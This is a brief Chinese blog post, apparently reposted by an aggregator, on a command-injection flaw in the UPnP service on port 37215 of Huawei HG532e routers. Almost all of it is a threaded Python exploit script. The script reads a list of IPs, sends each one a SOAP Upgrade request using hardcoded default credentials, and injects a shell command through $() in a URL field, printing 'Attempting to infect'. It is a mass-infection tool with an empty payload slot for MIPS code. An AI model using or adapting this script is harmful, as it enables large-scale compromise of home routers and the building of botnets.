HG532e漏洞分析

Posted h4lo

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HG532e漏洞分析相关的知识,希望对你有一定的参考价值。

漏洞原理

upnp 程序的 37215 端口存在任意命令注入

exp

#!/usr/bin/python
import threading, sys, time, random, socket, re, os, struct, array, requests
from requests.auth import HTTPDigestAuth

ips = open(sys.argv[1], "r").readlines()

cmd = "" # Your MIPS (SSHD)
rm = "<?xml version="1.0" ?>
    <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
    <NewStatusURL>$(" + cmd + ")</NewStatusURL>
<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>
</u:Upgrade>
    </s:Body>
    </s:Envelope>"
class exploit(threading.Thread):
        def __init__ (self, ip):
            threading.Thread.__init__(self)
            self.ip = str(ip).rstrip('
')
        def run(self):
            try:
                url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
                requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
                print "[SOAP] Attempting to infect " + self.ip
            except Exception as e:
                pass
for ip in ips:
    try:
        n = exploit(ip)
        n.start()
        time.sleep(0.03)
    except:
        pass

以上是关于HG532e漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章

CTF中常见Web源码泄露总结

华为HG532远程命令执行漏洞

常见的Web源码泄露总结

联通光猫管理员密码分析(HG220GS-U)

联通光猫管理员密码分析(HG220GS-U)

hg命令